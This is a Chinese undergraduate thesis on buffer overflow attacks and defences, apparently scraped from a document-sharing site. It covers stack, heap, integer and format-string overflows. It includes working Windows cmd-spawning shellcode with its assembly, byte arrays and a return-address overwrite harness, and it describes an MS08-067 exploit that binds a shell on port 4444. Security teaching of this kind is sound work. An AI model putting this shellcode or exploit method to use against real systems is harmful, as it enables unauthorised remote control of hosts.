緩沖區(qū)溢出攻擊原理及防范-XXX_第1頁
緩沖區(qū)溢出攻擊原理及防范-XXX_第2頁
緩沖區(qū)溢出攻擊原理及防范-XXX_第3頁
緩沖區(qū)溢出攻擊原理及防范-XXX_第4頁
緩沖區(qū)溢出攻擊原理及防范-XXX_第5頁
已閱讀5頁,還剩29頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)

文檔簡介

1、PAGE PAGE 31緩沖區(qū)溢出攻擊原理及防范作者姓名:XXX 班級:計算機網(wǎng)絡(luò)XXX 學號:2200951XXX 指導(dǎo)教師:XXX教授摘 要緩沖區(qū)簡單來說是一塊連續(xù)的計算機內(nèi)存區(qū)域,可以保存相同數(shù)據(jù)類型的多個實例, 緩沖區(qū)溢出是指當計算機向緩沖區(qū)內(nèi)填充數(shù)據(jù)位數(shù)時超過了緩沖區(qū)本身的容量溢出的數(shù)據(jù)覆蓋在合法數(shù)據(jù)上,理想的情況是程序檢查數(shù)據(jù)長度并不允許輸入超過緩沖區(qū)長度的字符,但是絕大多數(shù)程序都會假設(shè)數(shù)據(jù)長度總是與所分配的儲存空間相匹配,這就為緩沖區(qū)溢出埋下隱患.操作系統(tǒng)所使用的緩沖區(qū) 又被稱為堆棧. 在各個操作進程之間,指令會被臨時儲存在堆棧當中,堆棧也會出現(xiàn)緩沖區(qū)溢出。緩沖區(qū)溢出是最常見的安

2、全漏洞,針對緩沖區(qū)溢出的漏洞進行攻擊,是很常見的攻擊手段,可以使本地用戶獲得超級用戶權(quán)限,也可以使外部攻擊者通過網(wǎng)絡(luò)直接進入系統(tǒng)。本文詳細分析了緩沖區(qū)溢出的基本原理,描述了利用緩沖區(qū)溢出漏洞進行攻擊的基本方式,并通過對一段實例程序的溢出和構(gòu)建攻擊語句直觀的演示了緩沖區(qū)溢出的形成過程及其攻擊原理,最后提出了防范緩沖區(qū)溢出的有效措施。關(guān)鍵詞:緩沖區(qū)溢出 堆棧 漏洞AbstractSimply,bufferisacontinuouscomputermemoryarea,cankeepthesamedatatypesofmultipleinstances,bufferoverflowiswhencom

3、putertothebufferfilledwithdatafigureswithinthecapacityofthebufferitselfmorethanthedatacoveredinlegalspilldata,theidealsituationisnotallowedtocheckthedatalengthprogrammorethanthelengthoftheinputbuffercharacters,butmostoftheprogramwillbealwayswiththeassumptionthatdatalengthdistributionofstoragespacema

4、tch,thisisthebufferoverflowburiedhiddentrouble.Operatingsystemusedbybufferisknownasthestack.Inbetweeneachoperationprocess,theinstructionswillbetemporarilystoredinthestackofstackalsocanappearbufferoverflow.Bufferoverrunisthemostcommonsecurityflawsinthebufferoverflowvulnerabilitytoattack,itisverycommo

5、nattackmethod,canmakelocalusersgetsuperuserpermissions,alsocanmaketheexternalattackersthroughthenetworkdirectlyintothesystem.Thispaperanalyzesthebasicprincipleofbufferoverflow,describestheuseofbufferoverrunvulnerabilitiestoattackthebasicwayof,andthroughtheexampleofaprogramandtheconstructionofoverflo

6、wattackstatementintuitivedemonstratesbufferoverflowtheformingprocessandtheprincipleofattack,finallyputsforwardthecountermeasuresofbufferoverfloweffectivemeasures.Keywords:buffer overflow Stack shellcod目錄 TOC o 1-3 h z u HYPERLINK l _Toc324970220 摘 要 PAGEREF _Toc324970220 h 1 HYPERLINK l _Toc32497022

7、1 Abstract PAGEREF _Toc324970221 h 2 HYPERLINK l _Toc324970222 緒論 PAGEREF _Toc324970222 h 1 HYPERLINK l _Toc324970223 第一章 緩沖區(qū)溢出基本原理 PAGEREF _Toc324970223 h 2 HYPERLINK l _Toc324970224 1.1 棧緩沖區(qū)溢出 PAGEREF _Toc324970224 h 2 HYPERLINK l _Toc324970225 1.2 HEAP/BSS緩沖區(qū)溢出 PAGEREF _Toc324970225 h 4 HYPERLINK

8、 l _Toc324970226 1.2.1重要性 PAGEREF _Toc324970226 h 4 HYPERLINK l _Toc324970227 1.2.2相關(guān)概念介紹 PAGEREF _Toc324970227 h 4 HYPERLINK l _Toc324970228 1.2.3Heap/BSS溢出攻擊 PAGEREF _Toc324970228 h 5 HYPERLINK l _Toc324970229 第二章 緩沖區(qū)溢出攻擊 PAGEREF _Toc324970229 h 8 HYPERLINK l _Toc324970230 2.1 shellcode基礎(chǔ) PAGEREF

9、_Toc324970230 h 9 HYPERLINK l _Toc324970231 2.2 可注入shellcode的編寫 PAGEREF _Toc324970231 h 11 HYPERLINK l _Toc324970232 2.3 遠程緩沖區(qū)溢出威脅 PAGEREF _Toc324970232 h 15 HYPERLINK l _Toc324970233 第三章 緩沖區(qū)溢出攻擊防御 PAGEREF _Toc324970233 h 17 HYPERLINK l _Toc324970234 3.1 給有漏洞的程序打補丁 PAGEREF _Toc324970234 h 17 HYPERLI

10、NK l _Toc324970235 3.2 編寫安全的代碼 PAGEREF _Toc324970235 h 17 HYPERLINK l _Toc324970236 3.3 靜態(tài)分析 PAGEREF _Toc324970236 h 17 HYPERLINK l _Toc324970237 3.4 動態(tài)測試 PAGEREF _Toc324970237 h 17 HYPERLINK l _Toc324970238 3.5軟件開發(fā)過程中的防范策略 PAGEREF _Toc324970238 h 18 HYPERLINK l _Toc324970239 3.6 緩沖區(qū)溢出攻擊的抵御 PAGEREF

11、_Toc324970239 h 23 HYPERLINK l _Toc324970240 第四章 緩沖區(qū)溢出攻擊與防御實例設(shè)計 PAGEREF _Toc324970240 h 25 HYPERLINK l _Toc324970241 4.1 緩沖區(qū)溢出攻擊實例 PAGEREF _Toc324970241 h 25 HYPERLINK l _Toc324970242 總結(jié)與展望 PAGEREF _Toc324970242 h 27 HYPERLINK l _Toc324970243 致謝 PAGEREF _Toc324970243 h 28 HYPERLINK l _Toc324970244 參

12、考文獻 PAGEREF _Toc324970244 h 29緒論隨著計算機技術(shù)、現(xiàn)代通信技術(shù)和網(wǎng)絡(luò)技術(shù)的發(fā)展,尤其是Internet的廣泛使用,計算機網(wǎng)絡(luò)與人們的工作和生活的聯(lián)系越來越密切、越來越深入,同時也使網(wǎng)絡(luò)系統(tǒng)的安全問題日益復(fù)雜和突出。計算機的應(yīng)用使機密和財富集中于計算機,計算機網(wǎng)絡(luò)的應(yīng)用使這些機密和財富隨時受到聯(lián)網(wǎng)用戶的攻擊威脅。計算機病毒的肆虐、黑客的非法入侵、重要資料被破壞或丟失,都會造成網(wǎng)絡(luò)系統(tǒng)的癱瘓。網(wǎng)絡(luò)安全問題也應(yīng)此越來越受重視。解決網(wǎng)絡(luò)安全問題的一個有效途徑是對網(wǎng)絡(luò)的安全性進行分析。網(wǎng)絡(luò)安全性分析按照其分析目的可以分為兩類:一類是利用協(xié)議檢測和錯誤注入等方法對網(wǎng)絡(luò)協(xié)議和應(yīng)

13、用程序的安全性進行分析,其目的是要發(fā)現(xiàn)新弱點;另一類是對已知弱點進行形式化描述之后,研究已知弱點之間的依賴關(guān)系,其目的是要發(fā)現(xiàn)攻擊者可能采取的攻擊路徑。自最早的有文檔記載的惡意緩沖區(qū)攻擊“Morris Worm”1事件以來,緩沖區(qū)溢出攻擊已成為目前最主要最具威脅性的網(wǎng)絡(luò)攻擊之一. 根據(jù)MITRE Corpor- ation的報告Vulnerability Type Distributions in CVE2統(tǒng)計, 緩沖區(qū)溢出漏洞占了2001-2006年所有已確認漏洞的20%。當向一個有限大小的緩沖區(qū)填入超過其大小的數(shù)據(jù)后,就發(fā)生了緩沖區(qū)溢出,緩沖區(qū)溢出攻擊正是利用了軟件中存在的緩沖區(qū)溢出漏洞,

14、與緩沖區(qū)溢出密切相關(guān)的程序語言包括C/C+, 因為它們沒有內(nèi)置的緩沖區(qū)邊界檢查機制。而目前大量的應(yīng)用軟件和操作系統(tǒng)都是利用C/C+編寫,因此緩沖區(qū)溢出漏洞仍然會在以后相當長的時間內(nèi)存在。適當?shù)貞?yīng)用Java、C#、Lisp、等類型安全的編程語言可以有效地減少使用C/C+時的安全風險,然而即使是類型安全的編程語言也無法提供絕對的安全3,性與時間效率始終是對立量。在提供了安全的同時,安全編程語言也損失了執(zhí)行效率。緩沖區(qū)溢出攻擊通常會帶來以下兩點后果: 第一,過長的字符串覆蓋了相鄰的存儲單元而造成程序異常, 嚴重的會造成死機、系統(tǒng)或進程重啟等;第二可讓攻擊者執(zhí)行惡意代碼或特定指令, 甚至獲得超級權(quán)限等

15、, 從而引發(fā)其他的攻擊。因此,深入研究緩沖區(qū)溢出攻擊原理及其防范措施,對于探索如何防御溢出攻擊具有重要的意義。第一章 緩沖區(qū)溢出基本原理緩沖區(qū)溢出是一類形式隱秘、危害嚴重的網(wǎng)絡(luò)安全威脅,目前網(wǎng)絡(luò)上有的攻擊或多或少最終與緩沖區(qū)溢出有關(guān)。緩沖區(qū)溢出的直接后果可能是程序運行失敗、系統(tǒng)死機重新啟動、執(zhí)行非授權(quán)指令和取得系統(tǒng)特權(quán)等,對系統(tǒng)的可用性、完整性和機密性都可能產(chǎn)生危害。緩沖區(qū)溢出的根本原因來自C語言(以及其后代C+)本質(zhì)的不安全性:沒有邊界來限制數(shù)組和指針的引用;標準C庫中還存在許多非安全字符串操作,如strcpy()、sprintf()、gets()等。當前,存在兩種基本的緩沖區(qū)溢出:棧溢出和

16、HEAP/BSS溢出。1.1 棧緩沖區(qū)溢出任何一個源程序通常都包括代碼段,這些代碼和數(shù)據(jù)本身都是靜態(tài)的。為了運行程序,首先要由操作系統(tǒng)負責為其創(chuàng)建進程,并在進程的虛擬地址空間中為其代碼段和數(shù)據(jù)段建立映射。但是只有靜態(tài)的代碼段和數(shù)據(jù)段是不夠的,進程在運行過程中還要有其動態(tài)環(huán)境。一般說來,默認的動態(tài)存儲環(huán)境通過堆棧(簡稱棧)機制建立。所有局部變量以及所以按值傳遞的函數(shù)參數(shù)都通過堆棧機制自動的進行內(nèi)存空間的分配。分配同一數(shù)據(jù)類型相鄰塊的內(nèi)存區(qū)域稱為緩沖區(qū)。圖1-1為Linux下進行進程間的地址空間布局。圖1-1 Linux進程的地址空間布局從邏輯上講,進程的堆棧是由多個堆棧幀構(gòu)成的,其中每個堆棧都對

17、應(yīng)一個函數(shù)調(diào)用,當函數(shù)調(diào)用發(fā)生時,新的堆棧幀被壓入堆棧;當函數(shù)返回時,相應(yīng)的堆棧幀從堆棧中彈出。盡管堆棧幀結(jié)構(gòu)的引入為在高級語言中實現(xiàn)函數(shù)或過程這樣的概念提供了直接的硬件支持,但是由于將函數(shù)返回地址這樣的重要數(shù)據(jù)保存在程序員可見的堆棧中,當程序?qū)懭氤^緩沖區(qū)的邊界時,就會產(chǎn)生所謂的“緩沖區(qū)溢出”。發(fā)生緩沖區(qū)溢出時,就會覆蓋下一個相鄰的內(nèi)存塊,導(dǎo)致一些不可預(yù)料的結(jié)果:也許程序可以繼續(xù),也許程序的執(zhí)行出現(xiàn)奇怪現(xiàn)象,也許程序完全失敗。#includeint main() char name5; printf(“Please input your name:”); gets(name); printf

18、(“you are % s”,name);下面的程序是一個緩沖區(qū)溢出的實例。運行這個程序可以發(fā)現(xiàn),當輸入的字符數(shù)少時,程序運行正常;當輸入的字符數(shù)太多(超過8)時,程序就不能正常結(jié)束。這就是緩沖區(qū)溢出所造成。典型的堆棧幀結(jié)構(gòu)如圖1-2所示。圖1-2 典型的堆棧幀結(jié)構(gòu)堆棧幀的頂部為函數(shù)的實參,下面是函數(shù)的返回地址以及前一個堆棧幀的指針,最下面是分配給函數(shù)的局部變量使用的空間。一個堆棧幀通常都有兩個指針,其中一個稱為堆棧幀指針,另一個稱為棧頂指針。前者所指向的位置是固定的,而后者所指向的位置在函數(shù)的運行過程中可變。因此在函數(shù)中訪問實參和局部變量時都是以堆棧幀指針為基址,再加上一個偏移,由圖1-2可

19、知,實參的偏移為正,局部變量的偏移為負。當發(fā)生數(shù)據(jù)棧溢出時,多余的內(nèi)容就會越過棧底,覆蓋棧底后面的內(nèi)容。通常,與棧底相鄰的內(nèi)存空間中存放著程序返回地址。因此數(shù)據(jù)棧的溢出會覆蓋程序的返回地址,從而造成如下局面:或者程序會取到一個錯誤地址,或者將因程序無權(quán)訪問該地址而產(chǎn)生一個錯誤。1.2 HEAP/BSS緩沖區(qū)溢出雖然基于Heap(堆)/BSS的溢出現(xiàn)在是相當普遍的,但并沒有多少介紹它的資料。本文將簡單分析Heap溢出的原理,堆棧溢出的基本知識。1.2.1重要性堆棧溢出的問題已經(jīng)廣為人知,越來越多的操作系統(tǒng)商家增加了不可執(zhí)行堆棧的補丁,一些個人也提供了自己的補丁,象著名的Solar Designe

20、r提供的針對Linux的不可執(zhí)行堆棧的kernel patch(目前已經(jīng)推出了用于2.2.13內(nèi)核的patch),也有一些人開發(fā)了一些編譯器來防止堆棧溢出,象Crispin Cowan等開發(fā)的StackGuard等等。這些方法都一定程度上可以減少由堆棧溢出導(dǎo)致的安全問題,但是并卻不能防止Heap/BSS的溢出。在大多數(shù)的操作系統(tǒng)中,Heap和BSS段都是可寫可執(zhí)行的。這就使得Heap/BSS的溢出成為可能。大部分的基于heap的溢出都是不依賴于系統(tǒng)和硬件結(jié)構(gòu)的,這將在后面進一步介紹。1.2.2相關(guān)概念介紹一個可執(zhí)行的文件(比如常見的ELF-Executable and Linking Form

21、at格式的可執(zhí)行文件)通常包含多個段,比如:PLT(過程連接表),GOT(全局偏移表),init(包含在初始化時執(zhí)行的指令),fini(包含程序終止時要執(zhí)行的指令),以及ctors和dtors(包含一些全局構(gòu)造指令和析構(gòu)指令)所謂HEAP,就是由應(yīng)用程序動態(tài)分配的內(nèi)存區(qū)。在這里,由應(yīng)用程序來分配是值得特別注意的,因為在一個好的操作系統(tǒng)中,大部分的內(nèi)存區(qū)實際上是在內(nèi)核一級被動態(tài)分配的,而Heap段則是由應(yīng)用程序來分配的。它在編譯的時候被初始化。BSS段包含未被初始化的數(shù)據(jù),在程序運行的時候才被分配。在被寫入數(shù)據(jù)前,它始終保持全零(至少從應(yīng)用程序的角度看是這樣的)在大部分的系統(tǒng)中,Heap段是向上

22、增長的(向高址方向增長)。因此,當我們說X在Y的下面時,就是指X的地址低于Y的地址。下面提到的基于heap的溢出既包含HEAP段的溢出,也包含BSS段的溢出。1.2.3Heap/BSS溢出攻擊緩沖區(qū)溢出攻擊通常是指通過重寫堆棧中存儲的EIP內(nèi)容,使得程序跳轉(zhuǎn)到指定的shellcode處去執(zhí)行,緩沖區(qū)溢出攻擊的目的在于擾亂具有某些特權(quán)運行的程序的功能,這樣可以使得攻擊者取得程序的控制權(quán),進而利用該程序具有的權(quán)限來到達進一步控制主機系統(tǒng)的目的。 根據(jù)漏洞成因可以分為四大類:基于堆棧的緩沖區(qū)溢出,基于堆的緩沖區(qū)溢出,整型溢出和格式化字符串溢出?;诙褩5木彌_區(qū)溢出的原理原理:堆棧是函數(shù)在調(diào)用其它函數(shù)

23、時使用的一段計算機內(nèi)存。堆棧里保存了局部變量,函數(shù)的參數(shù)以及函數(shù)在執(zhí)行完畢后的返回地址,當函數(shù)A調(diào)用函數(shù)B時,CPU需要知道在函數(shù)B執(zhí)行完后需要返回到什么地方去繼續(xù)執(zhí)行,而這個數(shù)據(jù)就保存在堆棧里,這就是返回地址。由于函數(shù)里局部變量的內(nèi)存分配是發(fā)生在堆棧中的,所以如果在某一個函數(shù)里定義了緩沖區(qū)變量,則這個緩沖區(qū)變量所占用的內(nèi)存空間是在該函數(shù)被調(diào)用時所建立的堆棧中的。由于對緩沖區(qū)的操作都是從內(nèi)存低址到內(nèi)存高址的,而函數(shù)的返回地址是保存在緩沖區(qū)的內(nèi)存高址的(這是堆棧的特性決定的),這就為覆蓋函數(shù)的返回地址提供了條件。當用大于目標緩沖區(qū)大小的數(shù)據(jù)內(nèi)容向緩沖區(qū)填充時,就可以覆蓋到返回地址,從而使程序的執(zhí)

24、行流程隨攻擊者的意圖而轉(zhuǎn)移?;诙训木彌_區(qū)溢出的原理Windows的HEAP區(qū)是程序動態(tài)分配的一塊內(nèi)存區(qū)域。程序員一般調(diào)用C函數(shù)malloc/free或者C+的new/delete或者WIN32 API的HeapAlloc/HeapFree來動態(tài)分配內(nèi)存,這些函數(shù)最終都將調(diào)用ntdll.dll中的RtlAllocateHeap/RtlFreeHeap來進行實際的內(nèi)存分配工作。兩塊連續(xù)分配的內(nèi)存塊之間并不是緊挨著的,而是有8字節(jié)的管理結(jié)構(gòu),最末尾的一塊還要多8字節(jié)的指針指向雙指針區(qū)。假設(shè)有以下程序:buf1 = HeapAlloc(hHeap, 0, 16);buf1 = HeapAlloc(h

25、Heap, 0, 16);第一次分配后:Buf18 byte4 byte4 byte用戶內(nèi)存 管理結(jié)構(gòu) 兩個指針第二次分配后:buf18 bytebuf28 byte4 byte4 byte 用戶內(nèi)存 管理結(jié)構(gòu) 用戶內(nèi)存 管理結(jié)構(gòu) 兩個指針在第二次分配內(nèi)存時會利用第一個塊管理結(jié)構(gòu)后的那個兩個指針來進行一些操作,其中會有一次寫內(nèi)存的操作:mov ecx, eaxmov eax+4, ecx這是一個摘除雙向鏈表中間接點的操作,這個操作在堆分配和釋放時都會進行。這樣的話,如果在第一次分配了buf1后,向buf1里寫入超過buf1長度的內(nèi)容,覆蓋到后面的兩個指針,如此,再分配buf2時,就可以改寫兩個

26、4字節(jié)的指針,也就是說,這兩個4字節(jié)的指針的內(nèi)容就是我們可以控制的。一般堆溢出都會覆蓋到內(nèi)存的管理結(jié)構(gòu),觸發(fā)異常,可以通過覆蓋異常處理程序的地址為shellcode的地址,這樣就可以達到利用的目的。整型溢出的原理當程序嘗試去存儲一個大于這個類型的最大值時,將會導(dǎo)致整型溢出;整型溢出分三類:寬度溢出、運算溢出和符號溢出。寬度溢出是指存儲一個大數(shù)到一個整型變量中,由于這個變量太小,不足以放下這個大數(shù),導(dǎo)致溢出,本質(zhì)就是將大的變量放入一個小變量中,結(jié)果是只能存儲小變量能存儲的位,其它位被截斷。運算溢出就是“環(huán)繞”現(xiàn)象,比如一個無符號整型:unsigned int num = 0Xffffffff;令

27、num + 1,則num就變成0;這種溢出最常用的情況是在計算結(jié)果用于緩沖區(qū)大小分配時。符號溢出是把無符號整型當成有符號整型,或者是一個有符號整型當成是無符號整型。格式化字符串溢出的原理格式化串溢出是指在在利用printf等函數(shù)格式化字符串的過程當中由于對格式化參數(shù)%n處理不當所造成的溢出??梢岳脤憙?nèi)存的機會來修改返回地址。第二章 緩沖區(qū)溢出攻擊緩沖區(qū)溢出攻擊是利用緩沖區(qū)溢出漏洞所進行的攻擊行動。緩沖區(qū)溢出是一種非常普遍、非常危險的漏洞,在各種操作系統(tǒng)、應(yīng)用軟件中廣泛存在。利用緩沖區(qū)溢出攻擊,可以導(dǎo)致程序運行失敗、系統(tǒng)關(guān)機、重新啟動等后果。 危害:可以利用它執(zhí)行非授權(quán)指令,甚至可以取得系統(tǒng)特

28、權(quán),進而進行各種非法操作。緩沖區(qū)溢出攻擊有多種英文名稱:buffer overflow,buffer overrun,smash the stack,trash the stack,scribble the stack, mangle the stack, memory leak,overrun screw;它們指的都是同一種攻擊手段。第一個緩沖區(qū)溢出攻擊-Morris蠕蟲,發(fā)生在二十年前,它曾造成了全世界6000多臺網(wǎng)絡(luò)服務(wù)器癱瘓。在當前網(wǎng)絡(luò)與分布式系統(tǒng)安全中,被廣泛利用的50%以上都是緩沖區(qū)溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕蟲。而緩沖區(qū)溢出中,最為危險的是堆棧溢出

29、,因為入侵者可以利用堆棧溢出,在函數(shù)返回時改變返回程序的地址,讓其跳轉(zhuǎn)到任意地址,帶來的危害一種是程序崩潰導(dǎo)致拒絕服務(wù),另外一種就是跳轉(zhuǎn)并且執(zhí)行一段惡意代碼,比如得到shell,然后為所欲為。根據(jù)實現(xiàn)目標的不同,緩沖區(qū)溢出攻擊分為和改變程序邏輯兩類攻擊。目前出現(xiàn)利用緩沖區(qū)溢出進行的攻擊主要屬于改變程序邏輯。與破壞敏感數(shù)據(jù)的攻擊相比,此類攻擊的目標不是僅僅針對某個或者某些數(shù)據(jù),而是針對整個被攻擊系統(tǒng);雖然破壞的不是敏感數(shù)據(jù),但是攻擊者可以通過改來變這些數(shù)據(jù)來改變原有的程序邏輯,以此獲取對本地/遠程被攻擊系統(tǒng)的控制權(quán)。 實施緩沖區(qū)溢出攻擊的具體方法多種多樣。(1)注入惡意數(shù)據(jù) 惡意數(shù)據(jù)是指用于實現(xiàn)

30、攻擊的數(shù)據(jù),它的內(nèi)容將影響攻擊模式中后續(xù)活動能否順利進行。惡意數(shù)據(jù)可以通過命令行參數(shù)、環(huán)境變量、輸入文件或者網(wǎng)絡(luò)數(shù)據(jù)注入被攻擊系統(tǒng)。 (2) 溢出緩沖區(qū) 制造緩沖區(qū)溢出的前提條件是發(fā)現(xiàn)系統(tǒng)潛在的、可被利用的緩沖區(qū)溢出隱患。可被利用是指該隱患在特定的外部輸入條件作用下,可導(dǎo)致緩沖區(qū)溢出的發(fā)生,圖8的緩沖區(qū)溢出攻擊模式即是建立在該前提條件成立的基礎(chǔ)上。C/C+是最常見的不安全編程語言,用其編寫的程序容易存在緩沖區(qū)溢出。(3)控制流重定向控制流重定向是將系統(tǒng)從正常的控制流程轉(zhuǎn)向非正??刂屏鞒痰耐緩?,傳統(tǒng)做法通過改寫位于堆棧上的函數(shù)返回地址來改變指令流程6, 并借助“NOP”指令提高重定向的成功率。除

31、此之外,其他可用于控制流重定向的方法有:(1) 改寫被調(diào)函數(shù)棧上保存的調(diào)用函數(shù)棧的棧基址。(2) 改寫指針。如在Linux系統(tǒng)中,借助ELF文件格式的特性改寫過程鏈接表(PLT)、析構(gòu)函數(shù)段(.dtor) 、全局偏移表(.got)中的函數(shù)指針,可以改變控制流程。此外,通過對數(shù)據(jù)指針、虛函數(shù)指針(VPTR)、異常處理指針的改寫也可以改變控制流程。(3)改寫跳轉(zhuǎn)地址,當跳轉(zhuǎn)指令執(zhí)行時實現(xiàn)控制流重定向。(4)執(zhí)行攻擊程序當控制流被成功地重定向到攻擊程序所在位置時,攻擊程序得以運行,實現(xiàn)攻擊目標。攻擊程序?qū)V刚嬲龑崿F(xiàn)攻擊的代碼部分,稱為有效載荷(Payload)。在攻擊中,有效載荷可能以可執(zhí)行的二進制

32、代碼形式放置在惡意數(shù)據(jù)中,這種有效載荷用于產(chǎn)生命令解釋器-shell,稱為Shellcode。此外,有效載荷也可能是已經(jīng)存在于內(nèi)存中的代碼,相應(yīng)的攻擊技術(shù)稱為Arc Injection。圖2-1 緩沖區(qū)溢出攻擊模式2.1 shellcode基礎(chǔ) 溢出發(fā)生后要控制溢出后的行為關(guān)鍵就在于shellcode 的功能,shellcode其實就是一段機器碼,其功能主要是完成一定的系統(tǒng)調(diào)用。 下面來看一個小程序: #include int add(int x, int y) return x+y;int main(void) result = add(3, 4); printf(result = %dn,

33、 result); return 0; 我們對該程序反匯編,其add函數(shù)的反匯編代碼如圖2-2所示。圖2-2 add函數(shù)反匯編代碼#include typedef int (* PF)(int, int);unsigned char buff = “55”“8bec”“8b4508”“83450c”“5d”“c3”;int main(void) PF pf=(PF)buff; int result=0; result = pf(3, 4); printf(result=%in,result); return 0;圖中第二列是opcode, 第三列是匯編代碼。我們把上圖里的所有opcode放到一

34、個字符數(shù)組,然后以C程序來執(zhí)行這個字符串,下面是執(zhí)行程序:編譯運行結(jié)果為:7。本質(zhì)上來看,上面的x55x8bxecx8bx45x08x03x45x0cx5dxc3就是一段shellcode。shellcode 的名稱來源和Unix 的Shell 有些關(guān)系,早期攻擊程序中shellcode的功能是開啟一個新的shell,也就是說溢出攻擊里shellcode 的功能遠遠不像我們演示中這么簡單,需要完成更多的功能。無論shellcode 完成什么功能,其本質(zhì)就是一段能完成更多功能的機器碼。2.2 可注入shellcode的編寫 在實際的溢出攻擊中,通過字符函數(shù)(如gets(), sprintf()和

35、strcpy()),shellcode被植入到目標緩沖區(qū)。大多數(shù)的字符函數(shù)在拷貝字符串的過程中,通過判斷字符串中字符0來確定拷貝是否完成。如果我們植入的shellcode中包含一個空字節(jié)(業(yè)即是0),這個字節(jié)將被字符函數(shù)解釋為一個結(jié)束符,其結(jié)果是程序接受空字節(jié)前面的shellcode而放棄剩余的部分,溢出攻擊將失敗。所以編寫可注入的shellcode,我們得首先解決空字節(jié)問題。 下面我們將編寫一個能可靠工作在Windows XP SP3系統(tǒng)上的shellcode,執(zhí)行該shellcode,我們將獲得一個cmd shell。 獲得一個cmd shell的c語言程序:#include int ma

36、in(void) char var4; var0 = c; var1 = m; var2 = d; var3 = 0; WinExec(var, 1); ExitProcess(0);其關(guān)鍵部分反匯編代碼如圖2-3:圖2-3 獲得cmd 的shellcode反匯編代碼很明顯,00401010和00401020這兩行將導(dǎo)致shellcode的空字節(jié)問題的產(chǎn)生,我們重新改寫如下,在改寫之前,我們先獲得WinExec和ExitProcess函數(shù)被載入的實際地址,在本shellcode中,我們將使用這兩個函數(shù)的硬編碼地址。這兩個函數(shù)都是kernel32.dll的輸出函數(shù),我們用PEBrowse pro

37、fessional載入kernel32.dll,分析其輸出表,得到函數(shù)地址如圖2-4: 圖2-4 WinExec和ExitProcess函數(shù)地址int main(void) _asm xoresi, esi顯然,WinExec和ExitProcess被載入地址分別為:0 x7c86250d,0 x7c81cb12。現(xiàn)在我們來改寫該cmd shell代碼如下:pushesi mov BYTE PTR ebp-4, 99 movBYTE PTR ebp-3, 109movBYTE PTR ebp-2, 100 push 1 lea eax, DWORD PTR ebp-4 push eax mov

38、 eax, 0 x7c86250d call eax xor eax, eax push eax mov eax, 0 x7c81cb12 call eax 為了減少shellcode的長度,我們?nèi)サ袅撕瘮?shù)的序言和結(jié)尾,編譯并反匯編該shellcode,反匯編代碼如圖2-5所示。圖2-5 解決了空字節(jié)問題的cmd shell反匯編代碼通過使用xor,我們解決了shellcode遇到的空字節(jié)問題,得到相應(yīng)的shellcode為,char shellcode = 0 x33, 0 xF6, 0 x56, 0 xC6, 0 x45, 0 xFC, 0 x63, 0 xC6, 0 x45, 0 xFD

39、, 0 x6D, 0 xC6, 0 x45, 0 xFE, 0 x64, 0 x6A, 0 x01, 0 x8D, 0 x45, 0 xFC, 0 x50, 0 xB8, 0 x0D, 0 x25, 0 x86, 0 x7C, 0 xFF, 0 xD0, 0 x33, 0 xC0, 0 x50, 0 xB8, 0 x12, 0 xCB, 0 x81, 0 x7C, 0 xFF, 0 xD0, 0 x5E, 0 x5D,40字節(jié)長。 更有技巧的做法,我們可以把字符串cmd 放在shellcode的末尾,這樣就不用理會空字節(jié)問題了。代碼如下:int main(void) _asm jmp str_

40、pra func: mov eax, 0 x7c86250d call eax xor eax, eax push eax mov eax, 0 x7c81cb12 call eax str_pra: xor eax, eax push eax call func _emit c _emit m _emit d _emit 0 反匯編代碼如圖2-6所示。圖2-6 改進后的cmd shell反匯編代碼提取改進的shellcode, char shellcode = 0 xEB, 0 x11, 0 xB8, 0 x0D, 0 x25, 0 x86, 0 x7C, 0 xFF, 0 xD0, 0 x

41、33, 0 xC0, 0 x50, 0 xB8, 0 x12, 0 xCB, 0 x81, 0 x7C, 0 xFF, 0 xD0, 0 x33, 0 xC0, 0 x50, 0 xE8, 0 xE7, 0 xFF, 0 xFF, 0 xFF, 0 x63, 0 x6D, 0 x64;我們成功將該shellcode縮小到30字節(jié)。測試下新的shellcode,看能成功運行不:char shellcode = 0 xEB, 0 x11, 0 xB8, 0 x0D, 0 x25, 0 x86, 0 x7C, 0 xFF, 0 xD0, 0 x33, 0 xC0, 0 x50, 0 xB8, 0 x

42、12, 0 xCB, 0 x81, 0 x7C, 0 xFF, 0 xD0, 0 x33, 0 xC0, 0 x50, 0 xE8, 0 xE7, 0 xFF, 0 xFF, 0 xFF, 0 x63, 0 x6D,0 x64,;int main(void) int *ret; ret = (int *)&ret + 2; (* ret) = (int)shellcode;運行結(jié)果如圖2-7所示。圖2-7 新的shellcode運行結(jié)果我們成功得到一個cmd shell。2.3 遠程緩沖區(qū)溢出威脅/rsh三種服務(wù)中存在的緩沖區(qū)溢出漏洞進行傳播的,Morris蠕蟲在幾天之類感染了大約6000臺的

43、Unix計算機,美國的政府審計辦公室估算出蠕蟲造成的損失為1000萬至1億美元。于2003年8月開始傳播沖擊波蠕蟲病毒,利用的是windows系統(tǒng)DCOM遠程過程調(diào)用(RPC)存在的緩沖區(qū)溢出漏洞進行攻擊傳播,遠程攻擊者可以利用這個漏洞以本地管理員的權(quán)限在漏洞主機上執(zhí)行任意代碼或者造成拒絕服務(wù)。沖擊波蠕蟲1小時內(nèi)就感染了上百萬臺主機,造成損失上億美元。最近的于2008年11月大規(guī)模爆發(fā)的蠕蟲conficker, 可以通過攻擊windows系列操作系統(tǒng)存在的一個緩沖區(qū)溢出漏洞的網(wǎng)絡(luò)服務(wù)(MS08-067), 控制被攻擊的主機,進行大規(guī)模傳播。目前全球已超過1500萬電腦被感染,引發(fā)的經(jīng)濟損失可能

44、高達91億美元,微軟出資25萬美元懸賞該蠕蟲作者。下面我們來實例遠程緩沖區(qū)溢出攻擊一臺存在ms08-067漏洞的 windows 2000 sp4主機,攻擊成功,我們將獲得該主機的一個系統(tǒng)管理員權(quán)限的cmd shell圖2-8是具體攻擊過程圖: 圖2-8 ms08-067漏洞攻擊實例該溢出工具(ms08-067)的作者是EMM, 溢出成功后,將在被攻擊主機tcp 4444端口上綁定一個cmd shell, 我們用nc連接被攻擊主機4444端口,將獲得該主機一個cmd shell, 如圖2-8,完全控制該主機。第三章 緩沖區(qū)溢出攻擊防御對緩沖區(qū)溢出攻擊的防御包括預(yù)防緩沖區(qū)溢出的發(fā)生和抵御利用緩沖

